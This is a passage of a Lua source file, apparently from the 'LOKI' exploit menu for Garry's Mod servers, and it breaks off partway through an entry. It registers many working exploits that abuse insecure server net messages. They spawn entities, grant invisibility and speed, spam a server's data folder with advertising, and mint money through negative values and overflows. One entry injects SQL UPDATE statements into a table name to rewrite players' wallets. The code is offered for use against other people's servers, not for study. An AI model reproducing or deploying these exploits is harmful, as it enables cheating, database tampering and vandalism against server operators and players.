3490 bools = {enabled = false},
3491 status = 1,
3492 times_per_tick = math.huge,
3493 scan = function() return LOKI.ValidNetString("STOOL_FISHSPOT_REMOVE") end,
3494 hooks = {
3495 net = {
3496 SendToServer = function(sploit, varargs, func)
3497 func(unpack(varargs))
3498 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack1", "remove")) then
3499 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
3500 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3501 net.SendToServer()
3502 end
3503 return false
3504 end,
3505 },
3506 /*_G = {
3507 SortedPairsByMemberValue = function(sploit, varargs, func)
3508 local PropertyList = varargs[1]
3509 if(istable(PropertyList) && PropertyList["remove"] && PropertyList["remove"]["Filter"] && sploit.bools.enabled) then
3510 local tbl = table.Copy(PropertyList)
3511 tbl["remove"]["Filter"] = function() return true end
3512 return func(unpack(varargs))
3513 end
3514 end,
3515 },*/
3516 },
3517 functions = {
3518 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack1" },
3519 { typ = "bool" },
3520 },
3521} )
3522LOKI.AddExploit( "Entity Exploit", {
3523 desc = "Some disassembly required",
3524 severity = 100,
3525 bools = {enabled = false},
3526 status = 1,
3527 times_per_tick = math.huge,
3528 scan = function() return LOKI.ValidNetString("DestroyTable") end,
3529 hooks = {
3530 net = {
3531 SendToServer = function(sploit, varargs, func)
3532 func(unpack(varargs))
3533 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack2", "remove")) then
3534 LOKI.NetStart(sploit, "DestroyTable")
3535 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3536 net.SendToServer()
3537 end
3538 return false
3539 end,
3540 },
3541 },
3542 functions = {
3543 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack2" },
3544 { typ = "bool" },
3545 },
3546} )
3547LOKI.AddExploit( "Entity Exploit", {
3548 desc = "Set your playermodel to anything",
3549 severity = 50,
3550 bools = {enabled = false},
3551 status = 1,
3552 times_per_tick = 1,
3553 vars = {},
3554 scan = function() return LOKI.ValidNetString( "SetPlayerModel" ) end,
3555 hooks = {
3556 Think = function(tbl, sploit)
3557 LOKI.NetStart(sploit, "SetPlayerModel")
3558 net.WriteString(LOKI.GetStored( "entity2_m" ))
3559 net.SendToServer()
3560 end,
3561 },
3562 functions = {
3563 { typ = "string", Name = "Model", default = "models/error.mdl", addr = "entity2_m" },
3564 { typ = "func", Name = "Do it", },
3565 },
3566} )
3567LOKI.AddExploit( "Entity Exploit", {
3568 desc = "Take a sip from the cup of destruction",
3569 severity = 100,
3570 bools = {enabled = false},
3571 status = 1,
3572 times_per_tick = math.huge,
3573 scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
3574 hooks = {
3575 net = {
3576 SendToServer = function(sploit, varargs, func)
3577 func(unpack(varargs))
3578 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack3", "remove")) then
3579 LOKI.NetStart(sploit, "AS_DoAttack")
3580 net.WriteTable({Weapon = Entity(LOKI.NetOutgoingData[2][1]):EntIndex(), Target = 0})
3581 net.SendToServer()
3582 end
3583 return false
3584 end,
3585 },
3586 },
3587 functions = {
3588 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack3" },
3589 { typ = "bool" },
3590 },
3591} )
3592LOKI.AddExploit( "Entity Exploit", {
3593 desc = "Give yourself any entity",
3594 severity = 50,
3595 bools = {enabled = false},
3596 status = 1,
3597 times_per_tick = 1,
3598 vars = {},
3599 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3600 hooks = {
3601 Think = function(tbl, sploit)
3602 for k, v in ipairs(string.Split( LOKI.GetStored("entity2", "sent_ball"), "," )) do
3603 for i = 1, LOKI.GetStored("entity2_q") do
3604 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
3605 net.WriteString("Add")
3606 net.WriteTable({[1] = v})
3607 net.SendToServer()
3608 end
3609 end
3610 end,
3611 },
3612 functions = {
3613 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity2" },
3614 { typ = "float", addr = "entity2_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3615 { typ = "func", Name = "Give me shit", },
3616 },
3617} )
3618LOKI.AddExploit( "Entity Exploit", {
3619 desc = "Spawn any inventory item",
3620 severity = 50,
3621 bools = {enabled = false},
3622 status = 1,
3623 times_per_tick = math.huge,
3624 prevalidated = true,
3625 scan = function()
3626 local ret = LOKI.ValidNetString( "InvSV" ) && istable(Items)
3627 if(ret) then
3628 for k, v in pairs(Items) do
3629 v.ClassName = k
3630 end
3631 end
3632 return ret
3633 end,
3634 hooks = {
3635 Think = function(tbl, sploit)
3636 for i = 1, LOKI.GetStored("entity3_q") do
3637 LOKI.NetStart( sploit, "InvSV", true )
3638 net.WriteTable({})
3639 net.WriteString("DropItem")
3640 net.WriteString(LOKI.GetStored("entity3", "")[1])
3641 net.SendToServer()
3642 end
3643 end,
3644 },
3645 functions = {
3646 { typ = "combo", Name = "Entity", tbl = Items, var = "ClassName", sort = "ClassName", default = {}, addr = "entity3" },
3647 { typ = "float", addr = "entity3_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3648 { typ = "func", Name = "Spawn", },
3649 },
3650} )
3651LOKI.AddExploit( "Entity Exploit", {
3652 desc = "Become invisible",
3653 severity = 50,
3654 bools = {enabled = false},
3655 status = 1,
3656 times_per_tick = math.huge,
3657 general_override = true,
3658 scan = function()
3659 return LOKI.ValidNetString( "camo_PlayerInvis" )
3660 end,
3661 OnEnable = function(var, sploit)
3662 if(var != "invisible") then return end
3663 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3664 net.WriteBool( true )
3665 net.SendToServer()
3666 end,
3667 OnDisable = function(var, sploit)
3668 if(var != "invisible") then return end
3669 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3670 net.WriteBool( false )
3671 net.SendToServer()
3672 end,
3673 functions = {
3674 { typ = "bool", ToggleText = {"Cloak"}, border = true, bool = "invisible" },
3675 },
3676} )
3677LOKI.AddExploit( "Movement Exploit", {
3678 desc = "My name is Barry Allen...",
3679 severity = 50,
3680 bools = {enabled = false},
3681 status = 1,
3682 times_per_tick = 1,
3683 scan = function() return LOKI.ValidNetString("XMH_RunOneLineLua") end,
3684 count = {
3685 ["Active"] = 3,
3686 ["Total"] = 3,
3687 },
3688 hooks = {
3689 Think = function(tbl, sploit)
3690 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3691 net.WriteString("xmh_walkspeed_var")
3692 net.WriteInt(LOKI.GetStored("dbx_wlk"), 16)
3693 net.SendToServer()
3694 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3695 net.WriteString("xmh_runspeed_var")
3696 net.WriteInt(LOKI.GetStored("dbx_run"), 16)
3697 net.SendToServer()
3698 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3699 net.WriteString("xmh_jumpheight_var")
3700 net.WriteInt(LOKI.GetStored("dbx_jmp"), 16)
3701 net.SendToServer()
3702 end,
3703 },
3704 functions = {
3705 { typ = "float", Name = "Walk Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 160, addr = "dbx_wlk" },
3706 { typ = "float", Name = "Run Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 240, addr = "dbx_run" },
3707 { typ = "float", Name = "Jump Height", min = 1, max = math.floor(2^16 / 2)-1, default = 200, addr = "dbx_jmp" },
3708 { typ = "func", Name = "Do it"},
3709 },
3710} )
3711LOKI.AddExploit( "Movement Exploit", {
3712 desc = "Become a triathlon runner",
3713 severity = 1,
3714 bools = {enabled = false},
3715 status = 1,
3716 times_per_tick = 1,
3717 prevalidated = true,
3718 scan = function() return LOKI.ValidNetString("StaminaDrowning") && LOKI.GetLP().BurgerStamina != nil && LOKI.GetLP().BurgerMaxStamina != nil end,
3719 hooks = {
3720 CreateMove = function()
3721 LOKI.GetLP().BurgerStamina = LOKI.GetLP().BurgerMaxStamina
3722 end,
3723 },
3724 functions = {
3725 { typ = "bool" },
3726 },
3727} )
3728LOKI.AddExploit( "Movement Exploit", {
3729 desc = "Become a triathlon runner",
3730 severity = 1,
3731 bools = {enabled = false},
3732 status = 1,
3733 times_per_tick = 1,
3734 scan = function() return isfunction(StopSprint) && LOKI.GetLP():GetNWInt( "stamina", false ) != false end,
3735 vars = {stamina = 0},
3736 hooks = {
3737 Tick = function(tbl, sploit)
3738 LOKI.GetLP():SetNWInt( "stamina", math.huge )
3739 end,
3740 },
3741 functions = {
3742 { typ = "bool" },
3743 },
3744} )
3745LOKI.AddExploit( "Vandalize Server Data", {
3746 desc = "Vandalize the servers data folder, probably won't do any real damage but will annoy their devs",
3747 severity = 90,
3748 bools = {enabled = false},
3749 status = 2,
3750 times_per_tick = math.huge,
3751 vars = {},
3752 scan = function() return LOKI.ValidNetString( "WriteQuery" ) end,
3753 hooks = {
3754 Think = function(tbl, sploit)
3755 LOKI.NetStart( sploit, "WriteQuery" )
3756 net.WriteString( "BUY ODIUM.PRO"..string.rep( "!", math.random( 1, 50 ) ) )
3757 net.SendToServer()
3758 end,
3759 },
3760 functions = {
3761 { typ = "bool", },
3762 },
3763} )
3764LOKI.AddExploit( "Money Exploit", {
3765 desc = "Give people a crapton of money",
3766 severity = 90,
3767 bools = {enabled = false},
3768 status = 1,
3769 times_per_tick = 1,
3770 vars = {},
3771 prevalidated = true,
3772 scan = function() return LOKI.ValidNetString( "SendMoney" ) && net.Receivers["confpanel"] end,
3773 hooks = {
3774 Think = function(tbl, sploit)
3775 for k, v in ipairs( LOKI.GetStored( "shekels1_plyz", {} ) ) do
3776 if IsValid(v) then
3777 LOKI.NetStart( sploit, "SendMoney" )
3778 net.WriteEntity( v )
3779 net.WriteEntity( v )
3780 net.WriteEntity( v )
3781 net.WriteString( tostring(-LOKI.SafeToNumber(LOKI.GetStored( "shekels1" ))) )
3782 net.SendToServer()
3783 end
3784 end
3785 end,
3786 },
3787 functions = {
3788 { typ = "players", addr = "shekels1_plyz" },
3789 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels1" },
3790 { typ = "func", Name = "Give shekels", },
3791 },
3792} )
3793LOKI.AddExploit( "Money Exploit", {
3794 desc = "Give yourself a crapton of money",
3795 severity = 50,
3796 bools = {enabled = false},
3797 status = 1,
3798 times_per_tick = 1,
3799 vars = {},
3800 scan = function() return LOKI.ValidNetString( "BailOut" ) end,
3801 hooks = {
3802 Think = function(tbl, sploit)
3803 LOKI.NetStart( sploit, "BailOut" )
3804 net.WriteEntity( LOKI.GetLP() )
3805 net.WriteEntity( LOKI.GetLP() )
3806 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored( "shekels2" )) )
3807 net.SendToServer()
3808 end,
3809 },
3810 functions = {
3811 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels2" },
3812 { typ = "func", Name = "Give me shekels", },
3813 },
3814} )
3815LOKI.AddExploit( "Money Exploit", {
3816 desc = "Give yourself a crapton of money",
3817 severity = 50,
3818 bools = {enabled = false},
3819 status = 2,
3820 times_per_tick = 1,
3821 vars = {},
3822 scan = function() return LOKI.ValidNetString( "casinokit_chipexchange" ) && LOKI.GetLP().getDarkRPVar end,
3823 hooks = {
3824 Think = function(tbl, sploit)
3825 local moneylog = LOKI.GetLP():getDarkRPVar("money")
3826 LOKI.NetStart( sploit, "casinokit_chipexchange")
3827 net.WriteEntity(LOKI.GetLP())
3828 net.WriteString("darkrp")
3829 net.WriteBool(true)
3830 net.WriteUInt(LOKI.GetLP():getDarkRPVar("money"),32)
3831 net.SendToServer()
3832 for i=1, 10 do
3833 LOKI.NetStart( sploit, "casinokit_chipexchange")
3834 net.WriteEntity(LOKI.GetLP())
3835 net.WriteString("darkrp")
3836 net.WriteBool(false)
3837 net.WriteUInt(moneylog*0.10,32)
3838 net.SendToServer()
3839 end
3840 end,
3841 },
3842 functions = {
3843 { typ = "func", Name = "Give me shekels", },
3844 },
3845} )
3846LOKI.AddExploit( "Money Exploit", {
3847 desc = "Give yourself a crapton of money",
3848 severity = 50,
3849 bools = {enabled = false},
3850 status = 1,
3851 times_per_tick = 1,
3852 vars = {},
3853 scan = function() return LOKI.ValidNetString( "hitcomplete" ) && LOKI.GetLP().getDarkRPVar end,
3854 hooks = {
3855 Think = function(tbl, sploit)
3856 LOKI.NetStart( sploit, "hitcomplete")
3857 net.WriteDouble( LOKI.GetStored( "shekels4" ) )
3858 net.SendToServer()
3859 end,
3860 },
3861 functions = {
3862 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels4" },
3863 { typ = "func", Name = "Give me shekels", },
3864 },
3865} )
3866LOKI.AddExploit( "Money Exploit", {
3867 desc = "Give yourself a crapton of money",
3868 severity = 50,
3869 bools = {enabled = false},
3870 status = 1,
3871 times_per_tick = 1,
3872 vars = {},
3873 scan = function() return LOKI.ValidNetString( "WithdrewBMoney" ) && LOKI.GetLP().getDarkRPVar end,
3874 hooks = {
3875 Think = function(tbl, sploit)
3876 LOKI.NetStart( sploit, "WithdrewBMoney" )
3877 net.WriteInt( LOKI.GetStored( "shekels5" ), 32 )
3878 net.SendToServer()
3879 end,
3880 },
3881 functions = {
3882 { typ = "float", Name = "Amount", min = 1, max = 50000, default = 1000, addr = "shekels5" },
3883 { typ = "func", Name = "Give me shekels", },
3884 },
3885} )
3886LOKI.AddExploit( "Money Exploit", {
3887 desc = "Give yourself a crapton of money",
3888 severity = 50,
3889 bools = {enabled = false},
3890 status = 1,
3891 times_per_tick = 1,
3892 vars = {},
3893 scan = function() return LOKI.ValidNetString( "ClickerAddToPoints" ) && LOKI.GetLP().getDarkRPVar end,
3894 hooks = {
3895 Think = function(tbl, sploit)
3896 LOKI.NetStart( sploit, "ClickerAddToPoints")
3897 net.WriteInt(LOKI.GetStored( "shekels6" ), 32)
3898 net.SendToServer()
3899 end,
3900 },
3901 functions = {
3902 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels6" },
3903 { typ = "func", Name = "Give me shekels", },
3904 },
3905} )
3906LOKI.AddExploit( "Money Exploit", {
3907 desc = "Give yourself a crapton of money",
3908 severity = 50,
3909 bools = {enabled = false},
3910 status = 2,
3911 times_per_tick = 1,
3912 vars = {},
3913 scan = function() return LOKI.ValidNetString( "ckit_roul_bet" ) && LOKI.GetLP().getDarkRPVar end,
3914 hooks = {
3915 Think = function(tbl, sploit)
3916 LOKI.NetStart( sploit, "ckit_roul_bet")
3917 net.WriteEntity(LOKI.GetLP())
3918 net.WriteString("")
3919 net.WriteString("")
3920 net.WriteUInt(-LOKI.SafeToNumber(LOKI.GetStored( "shekels7" )), 16)
3921 net.SendToServer()
3922 end,
3923 },
3924 functions = {
3925 { typ = "float", Name = "Amount", min = 1, max = math.pow(2, 16)-1, default = 1000, addr = "shekels7" },
3926 { typ = "func", Name = "Give me shekels", },
3927 },
3928} )
3929LOKI.AddExploit( "Money Exploit", {
3930 desc = "Give yourself a crapton of money",
3931 severity = 50,
3932 bools = {enabled = false},
3933 status = -1,
3934 times_per_tick = 1,
3935 vars = {},
3936 scan = function() return LOKI.ValidNetString( "duelrequestguiYes" ) && LOKI.GetLP().getDarkRPVar end,
3937 hooks = {
3938 Think = function(tbl, sploit)
3939 LOKI.NetStart( sploit, "duelrequestguiYes")
3940 net.WriteInt(0xFFFFFFFF,32)
3941 net.WriteEntity(table.Random( player.GetAll() ) )
3942 net.WriteString("Crossbow")
3943 net.SendToServer()
3944 end,
3945 },
3946 functions = {
3947 { typ = "func", Name = "Give me shekels", },
3948 },
3949} )
3950LOKI.AddExploit( "Money Exploit", {
3951 desc = "Give yourself a crapton of money",
3952 severity = 50,
3953 bools = {enabled = false},
3954 status = 1,
3955 times_per_tick = 1,
3956 vars = {},
3957 prevalidated = true,
3958 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay && LOKI.GetLP().getDarkRPVar end,
3959 hooks = {
3960 Think = function(tbl, sploit)
3961 for k, v in ipairs( LOKI.GetStored( "shekels2_plyz", {} ) ) do
3962 if IsValid(v) then
3963 local ass = {}
3964 ass.tblname = "darkrp_player; UPDATE darkrp_player SET wallet = "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:SteamID64() .. "; UPDATE darkrp_player SET wallet "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:UniqueID()
3965 ass.ply = v
3966 LOKI.NetStart( sploit, "pplay_sendtable")
3967 net.WriteTable(ass)
3968 net.SendToServer()
3969 end
3970 end
3971 end,
3972 },
3973 functions = {
3974 { typ = "players", addr = "shekels2_plyz" },
3975 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels9" },
3976 { typ = "func", Name = "Give shekels", },
3977 },
3978} )
3979LOKI.AddExploit( "Money Exploit", {
3980 desc = "Effectiveness varies server to server",
3981 severity = 50,
3982 bools = {enabled = false},
3983 status = 1,
3984 times_per_tick = 1,
3985 vars = {},
3986 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) && LOKI.GetLP().getDarkRPVar end,
3987 hooks = {
3988 Think = function(tbl, sploit)
3989 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
3990 if(r_tbl.cooldown == 0) then
3991 r_tbl.cooldown = (LOKI.REAL_CURTIME + LOKI.SafeToNumber(LOKI.GetStored( "shekels10" )))
3992 end
3993 LOKI.NetStart( sploit, "RevivePlayer")
3994 net.SendToServer()
3995 end,
3996 },
3997 functions = {
3998 { typ = "float", Name = "Cooldown", min = 1, max = 300, default = 60, addr = "shekels10" },
3999 { typ = "bool" },
4000 },
4001} )
4002LOKI.AddExploit( "Money Exploit", {
4003 desc = "Give people a crapton of money",
4004 severity = 50,
4005 bools = {enabled = false},
4006 status = -1,
4007 times_per_tick = 1,
4008 vars = {},
4009 scan = function() return LOKI.ValidNetString( "75_plus_win" ) end,
4010 hooks = {
4011 Think = function(tbl, sploit)
4012 for k, v in ipairs( LOKI.GetStored( "shekels11_plyz", {} ) ) do
4013 if IsValid(v) then
4014 LOKI.NetStart( sploit, "75_plus_win" )
4015 net.WriteString( LOKI.GetStored( "shekels11" ) )
4016 net.WriteEntity(v)
4017 net.SendToServer()
4018 end
4019 end
4020 end,
4021 },
4022 functions = {
4023 { typ = "players", addr = "shekels11_plyz" },
4024 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels11" },
4025 { typ = "func", Name = "Give shekels", },
4026 },
4027} )
4028LOKI.AddExploit( "Money Exploit", {
4029 desc = "Give yourself a crapton of money",
4030 severity = 50,
4031 bools = {enabled = false},
4032 status = -1,
4033 times_per_tick = 1,
4034 vars = {},
4035 scan = function() return LOKI.ValidNetString( "ATMDepositMoney" ) end,
4036 hooks = {
4037 Think = function(tbl, sploit)
4038 LOKI.NetStart( sploit, "ATMDepositMoney" )
4039 net.WriteFloat( -LOKI.GetStored( "shekels12" ) )
4040 net.SendToServer()
4041 end,
4042 },
4043 functions = {
4044 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels12" },
4045 { typ = "func", Name = "Give me shekels", },
4046 },
4047} )
4048LOKI.AddExploit( "Money Exploit", {
4049 desc = "Give yourself a crapton of money",
4050 severity = 50,
4051 bools = {enabled = false},
4052 status = -1,
4053 times_per_tick = 1,
4054 vars = {},
4055 scan = function() return LOKI.ValidNetString( "SellMinerals", "Upgrade" ) end,
4056 hooks = {
4057 Think = function(tbl, sploit)
4058 if(SkillDB && istable(SkillDB)) then
4059 for k1,v1 in pairs(SkillDB) do
4060 if not ( v1.iSkill == true ) then
4061 LOKI.NetStart( sploit, "SetUpgrade")
4062 net.WriteTable( { LuaName = v1.LuaName, Amount = LOKI.GetStored( "shekels13" ) } )
4063 net.SendToServer()
4064
4065 LOKI.NetStart( sploit, "SellMinerals" )
4066 net.WriteTable( { Target = LOKI.GetLP() } )
4067 net.SendToServer()
4068 end
4069 end
4070 end
4071 end,
4072 },
4073 functions = {
4074 { typ = "players", addr = "shekels13_plyz" },
4075 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels13" },
4076 { typ = "func", Name = "Give shekels", },
4077 },
4078} )
4079LOKI.AddExploit( "Money Exploit", {
4080 desc = "Give yourself a crapton of money",
4081 severity = 50,
4082 bools = {enabled = false},
4083 status = -1,
4084 times_per_tick = 1,
4085 vars = {},
4086 scan = function() return LOKI.ValidNetString( "TakeBetMoney" ) end,
4087 hooks = {
4088 Think = function(tbl, sploit)
4089 LOKI.NetStart( sploit, "TakeBetMoney" )
4090 net.WriteTable({LOKI.SafeToNumber(LOKI.GetStored( "shekels14" )), LOKI.SafeToNumber(LOKI.GetStored( "shekels14" ))})
4091 net.SendToServer()
4092 end,
4093 },
4094 functions = {
4095 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels14" },
4096 { typ = "func", Name = "Give me shekels", },
4097 },
4098} )
4099LOKI.AddExploit( "Money Exploit", {
4100 desc = "Give yourself a crapton of money",
4101 severity = 50,
4102 bools = {enabled = false},
4103 status = -1,
4104 times_per_tick = 1,
4105 vars = {},
4106 scan = function() return LOKI.ValidNetString( "kart_sell" ) end,
4107 hooks = {
4108 Think = function(tbl, sploit)
4109 LOKI.NetStart( sploit, "kart_sell")
4110 net.WriteString("sw_gokart")
4111 net.SendToServer()
4112 end,
4113 },
4114 functions = {
4115 { typ = "func", Name = "Give me shekels", },
4116 },
4117} )
4118LOKI.AddExploit( "Money Exploit", {
4119 desc = "Fine other players for free money",
4120 severity = 50,
4121 bools = {enabled = false},
4122 status = 1,
4123 times_per_tick = 1,
4124 vars = {},
4125 scan = function() return LOKI.ValidNetString( "tickbooksendfine" ) end,
4126 hooks = {
4127 Think = function(tbl, sploit)
4128 local ply_tbl = LOKI.GetStored( "shekels17_plyz", {} )
4129 local max_dist = LOKI.RecursiveGetVar(TicketBook, {"Config", "TB", "MaxDistance"}, "number")
4130 if(max_dist) then
4131 ply_tbl = ents.FindInSphere(LOKI.GetLP():GetPos(), max_dist)
4132 end
4133 for k, v in ipairs( ply_tbl ) do
4134 local t = LOKI.GetStored( "shekels17_plyz", {} )
4135 if table.HasValue( t, v ) then
4136 LOKI.NetStart( sploit, "tickbooksendfine")
4137 net.WriteString(v:SteamID())
4138 net.WriteTable({LOKI.GetStored("shekels17r", "GET ODIUM.PRO")})
4139 net.WriteDouble(LOKI.SafeToNumber(LOKI.GetStored("shekels17", 1500)), 32)
4140 net.SendToServer()
4141 end
4142 end
4143 end,
4144 },
4145 functions = {
4146 { typ = "players", addr = "shekels17_plyz" },
4147 { typ = "float", Name = "Amount", min = 1, max = (LOKI.RecursiveGetVar(TicketBook, {"Config", "Fine", "Max"}, "number") || 5000), default = 1000, addr = "shekels17" },
4148 { typ = "string", Name = "Fine Reason", default = "GET ODIUM.PRO", addr = "shekels17r" },
4149 { typ = "bool", Name = "Give me shekels", },
4150 },
4151} )
4152LOKI.AddExploit( "Money Exploit", {
4153 desc = "Give yourself a crapton of money",
4154 severity = 50,
4155 bools = {enabled = false},
4156 status = 2,
4157 times_per_tick = 1,
4158 vars = {},
4159 scan = function() return LOKI.ValidNetString( "hhh_request" ) end,
4160 hooks = {
4161 Think = function(tbl, sploit)
4162 local hitRequest = {hitman = LOKI.GetLP(), requester = LOKI.GetLP(), target = table.Random(player.GetAll()), reward = LOKI.SafeToNumber(LOKI.GetStored("shekels18", 1500))}
4163
4164 LOKI.NetStart( sploit, 'hhh_request' )
4165 net.WriteTable( hitRequest )
4166 net.SendToServer()
4167 end,
4168 },
4169 functions = {
4170 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels18" },
4171 { typ = "func", Name = "Give me shekels", },
4172 },
4173} )
4174LOKI.AddExploit( "Money Exploit", {
4175 desc = "Ez money",
4176 severity = 50,
4177 bools = {enabled = false},
4178 status = 1,
4179 times_per_tick = 1,
4180 vars = {},
4181 scan = function() return LOKI.ValidNetString( "DaHit" ) end,
4182 hooks = {
4183 Think = function(tbl, sploit)
4184 LOKI.NetStart( sploit, "DaHit" )
4185 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored("shekels19", 1500)) )
4186 net.WriteEntity( LOKI.GetLP() )
4187 net.WriteEntity( LOKI.GetLP() )
4188 net.WriteEntity( LOKI.GetLP() )
4189 net.SendToServer()
4190 end,
4191 },
4192 functions = {
4193 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels19" },
4194 { typ = "func", Name = "Give me shekels", },
4195 },
4196} )
4197LOKI.AddExploit( "Money Exploit", {
4198 desc = "Just a Taxi Driver trying to make an honest living",
4199 severity = 50,
4200 bools = {enabled = false},
4201 status = 1,
4202 times_per_tick = 1,
4203 vars = {},
4204 scan = function() return LOKI.ValidNetString( "NET_EcSetTax" ) end,
4205 hooks = {
4206 Think = function(tbl, sploit)
4207 LOKI.NetStart( sploit, "NET_EcSetTax" )
4208 net.WriteInt(LOKI.GetStored("shekels21", 1000), 16)
4209 net.SendToServer()
4210 end,
4211 },
4212 functions = {
4213 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "shekels21" },
4214 { typ = "func", Name = "Give me shekels", },
4215 },
4216} )
4217LOKI.AddExploit( "Money Exploit", {
4218 desc = "Just an Irish Farmer trying to make an honest living",
4219 severity = 50,
4220 bools = {enabled = false},
4221 status = 1,
4222 times_per_tick = 1,
4223 vars = {},
4224 prevalidated = true,
4225 scan = function() return LOKI.ValidNetString( "FARMINGMOD_ADDITEM", "FARMINGMOD_SELLITEM" ) end,
4226 hooks = {
4227 Think = function(tbl, sploit)
4228 local tbl = {}
4229 local r_tbl = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "crops"}, "table")
4230 if(r_tbl) then
4231 for _, crop in pairs(r_tbl) do
4232 if(crop.sell && !tbl.sell || crop.sell > tbl.sell) then
4233 tbl = crop
4234 end
4235 end
4236 local quantity = (LOKI.GetStored("shekels22", 1000) / tbl.sell) + 1
4237 local recurse = math.Round(quantity / ((math.pow(2, 16)-1)/2))
4238 for i=0,recurse do
4239 if(recurse > 1) then
4240 quantity = quantity - ((math.pow(2, 16)-1)/2)
4241 end
4242 local quant = math.Clamp(quantity, 1, ((math.pow(2, 16)-1)/2))
4243 LOKI.NetStart( sploit, "FARMINGMOD_ADDITEM", true )
4244 net.WriteTable(tbl)
4245 net.WriteInt(quant, 16)
4246 net.SendToServer()
4247 LOKI.NetStart( sploit, "FARMINGMOD_SELLITEM", true )
4248 net.WriteTable(tbl)
4249 net.WriteInt(quant, 16)
4250 net.SendToServer()
4251 end
4252 else
4253 sploit.status = 3
4254 end
4255 end,
4256 },
4257 functions = {
4258 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels22" },
4259 { typ = "func", Name = "Give me shekels", },
4260 },
4261} )
4262LOKI.AddExploit( "Money Exploit", {
4263 desc = "Inverse the polarity of the servers moral compass",
4264 severity = 50,
4265 bools = {enabled = false},
4266 status = 1,
4267 times_per_tick = math.huge,
4268 count = {
4269 ["Active"] = 6,
4270 ["Total"] = 6,
4271 },
4272 scan = function() return LOKI.DynamicNetString("credit_") && net.Receivers["credit_gui_loan"] end,
4273 hooks = {
4274 net = {
4275 WriteDouble = function(sploit, varargs)
4276 local CMOD_Messages = {
4277 ["credit_"] = true,
4278 }
4279 for k, v in pairs(CMOD_Messages) do
4280 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4281 varargs[1] = -varargs[1]
4282 break
4283 end
4284 end
4285 end,
4286 },
4287 },
4288 functions = {
4289 { typ = "bool" },
4290 },
4291} )
4292LOKI.AddExploit( "Money Exploit", {
4293 desc = "Show the server your empty wallet and see if it feels guilty",
4294 severity = 50,
4295 bools = {enabled = false},
4296 status = 1,
4297 times_per_tick = 1,
4298 count = {
4299 ["Active"] = 1,
4300 ["Total"] = 1,
4301 },
4302 scan = function() return LOKI.ValidNetString("lp2PrinterCart") end,
4303 hooks = {
4304 util = {
4305 TableToJSON = function(sploit, varargs)
4306 if(varargs[1].fullPrice && sploit.bools.freeprint) then
4307 varargs[1].fullPrice = 0
4308 //varargs[1].product1 = "worldspawn"
4309 end
4310 end,
4311 },
4312 },
4313 functions = {
4314 { typ = "bool", ToggleText = {"Free Printers"}, border = true, bool = "freeprint" },
4315 },
4316} )
4317LOKI.AddExploit( "Money Exploit", {
4318 desc = "Pay your negative debts",
4319 severity = 50,
4320 bools = {enabled = false},
4321 status = 1,
4322 times_per_tick = 1,
4323 vars = {},
4324 scan = function() return LOKI.ValidNetString( "FOC_ClaimPay" ) end,
4325 hooks = {
4326 Think = function(tbl, sploit)
4327 LOKI.NetStart( sploit, "FOC_ClaimPay" )
4328 net.WriteInt(LOKI.GetStored("shekels23", 1000), 32)
4329 net.SendToServer()
4330 end,
4331 },
4332 functions = {
4333 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels23" },
4334 { typ = "func", Name = "Give me shekels", },
4335 },
4336} )
4337LOKI.AddExploit( "Money Exploit", {
4338 desc = "Pickpocket repeater",
4339 severity = 50,
4340 bools = {enabled = false},
4341 status = 1,
4342 times_per_tick = 1,
